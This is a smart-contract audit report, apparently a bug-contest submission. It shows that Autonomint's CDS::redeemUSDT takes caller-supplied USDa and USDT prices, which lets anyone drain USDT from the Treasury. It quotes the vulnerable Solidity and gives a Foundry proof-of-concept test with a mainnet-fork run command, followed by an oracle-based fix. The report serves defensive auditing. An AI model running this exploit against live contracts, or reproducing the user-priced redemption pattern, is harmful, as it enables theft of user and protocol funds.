Shallow Coral Kookaburra

High

# `usdaPrice` and `usdtPrice` are parameters used to calculate redeemable amount of `USDT` that allow anyone to drain the vault

### Summary

The `CDS::redeemUSDT` function receives as parameters the price of `USDa` and `USDT` which are directly used in the calculation of the amount of `USDT` that have to be sent to the user. As prices are controlled by user, anyone can drain all `USDT` in `Treasury`.

### Root Cause

The `CDS::redeemUSDT` function receives the following parameters:
[CDS.sol#L506-L510](https://github.com/sherlock-audit/2024-11-autonomint/blob/0d324e04d4c0ca306e1ae4d4c65f0cb9d681751b/Blockchain/Blockchian/contracts/Core_logic/CDS.sol#L506-L510)
```solidity
function redeemUSDT(
    uint128 usdaAmount,
    uint64 usdaPrice,
    uint64 usdtPrice
) external payable nonReentrant whenNotPaused(IMultiSign.Functions(6)) {
```
Then it calls the `CDSLib::redeemUSDT` function with those parameters. In `CDSLib::redeemUSDT`, it is calculated how much `USDT` the user will receive in exchange of the `usdaAmount` that will redeem. The issue is that `usdaPrice` and `usdtPrice` (introduced by the user) are values that directly determines how much `USDT` will be sent:
[CDSLib.sol#L382-L418](https://github.com/sherlock-audit/2024-11-autonomint/blob/0d324e04d4c0ca306e1ae4d4c65f0cb9d681751b/Blockchain/Blockchian/contracts/lib/CDSLib.sol#L382-L418)
```solidity
    function redeemUSDT(
        CDSInterface.Interfaces memory interfaces,
        uint256 burnedUSDaInRedeem,
        uint128 usdaAmount,
        uint64 usdaPrice,
        uint64 usdtPrice
    ) external returns (uint256) {
        // CHeck the usdaAmount is non zero
        if (usdaAmount == 0) revert CDSInterface.CDS_NeedsMoreThanZero();
        // Check the user has enough usda balance
        if (interfaces.usda.balanceOf(msg.sender) < usdaAmount)
            revert CDSInterface.CDS_Insufficient_USDa_Balance();
        // Increment burnedUSDaInRedeem
        burnedUSDaInRedeem += usdaAmount;
        // GET the omnichain data
        IGlobalVariables.OmniChainData memory omniChainData = interfaces.globalVariables.getOmniChainData();
        // Increment burnedUSDaInRedeem
        omniChainData.burnedUSDaInRedeem += usdaAmount;
        // burn usda
        bool transfer = interfaces.usda.burnFromUser(msg.sender, usdaAmount);
        if (!transfer) revert CDSInterface.CDS_TransferFailed(IBorrowing.AssetName.USDa);
        // calculate the USDT USDa ratio
        uint128 usdtAmount = ((usdaPrice * usdaAmount) / usdtPrice);
        
        interfaces.treasury.approveTokens(IBorrowing.AssetName.TUSDT, address(interfaces.cds), usdtAmount);
        // Transfer usdt to user
        bool success = interfaces.usdt.transferFrom(
            address(interfaces.treasury),
            msg.sender,
            usdtAmount
        );
        if (!success) revert CDSInterface.CDS_TransferFailed(IBorrowing.AssetName.TUSDT);
        
        interfaces.globalVariables.setOmniChainData(omniChainData);
        
        return burnedUSDaInRedeem;
    }
```


### Internal pre-conditions

None

### External pre-conditions

None

### Attack Path

- Attacker buys some `USDa`: a tiny amount is enough
- Attacker calls `CDS::redeemUSDT` with malicious prices

### Impact

`USDT` from `Treasury` drained

### PoC

Add the following PoC to `test/foundry/Borrowing.t.sol`:

```solidity
    function test_PoC_DrainOfTreasuryInRedeemUSDT() public {
        uint256 ETH = 1;
        uint24 ethPrice = 388345;
        uint8 strikePricePercent = uint8(IOptions.StrikePrice.FIVE);
        uint64 strikePrice = uint64(ethPrice + (ethPrice * ((strikePricePercent * 5) + 5)) / 100);
        uint256 amount = 10 ether;

        uint128 usdtToDeposit = uint128(contractsB.cds.usdtLimit());
        uint256 liquidationAmount = usdtToDeposit / 2;

        // deposit in CDS so there is back funds for the USDa
        address cdsDepositor = makeAddr("depositor");

        {
            // deposit USDT limit
            vm.startPrank(cdsDepositor);

            contractsB.usdt.mint(cdsDepositor, usdtToDeposit);
            contractsB.usdt.approve(address(contractsB.cds), usdtToDeposit);
            vm.deal(cdsDepositor, globalFee.nativeFee);
            contractsB.cds.deposit{value: globalFee.nativeFee}(
                usdtToDeposit, 0, true, uint128(liquidationAmount), 150000
            );
  
            vm.stopPrank();
        }

        {
            // so user gets usda to redeem
            vm.startPrank(USER);
            vm.deal(USER, globalFee.nativeFee + amount);
            contractsB.borrow.depositTokens{value: globalFee.nativeFee + amount}(
                ethPrice,
                uint64(block.timestamp),
                IBorrowing.BorrowDepositParams(
                    IOptions.StrikePrice.FIVE, strikePrice, ETH_VOLATILITY, IBorrowing.AssetName(ETH), amount
                )
            );

            vm.stopPrank();
        }

        {
            vm.startPrank(USER);

            uint128 usdaAmount = 1e6; // 1 usda (it could be just 1 wei)
            uint64 usdaPrice = 10000; // as usdtPrice is 1, usdaPrice is the amount that will be received of USDT
            uint64 usdtPrice = 1;

            uint256 amountUsdtBefore = contractsB.usdt.balanceOf(USER);

            vm.deal(USER, globalFee.nativeFee);
            contractsB.usda.approve(address(contractsB.cds), usdaAmount);
            contractsB.cds.redeemUSDT{value: globalFee.nativeFee}(usdaAmount, usdaPrice, usdtPrice);

            uint256 amountUsdtAfter = contractsB.usdt.balanceOf(USER);

            assertEq(amountUsdtBefore + (usdaPrice * usdaAmount), amountUsdtAfter);

            vm.stopPrank();
        }
    }
```

To run the test:
```bash
forge test --fork-url https://mainnet.mode.network/ --mt test_PoC_DrainOfTreasuryInRedeemUSDT -vvv
```

### Mitigation

`usdaPrice` and `usdtPrice` are values to be fetched from the Oracles not from user input.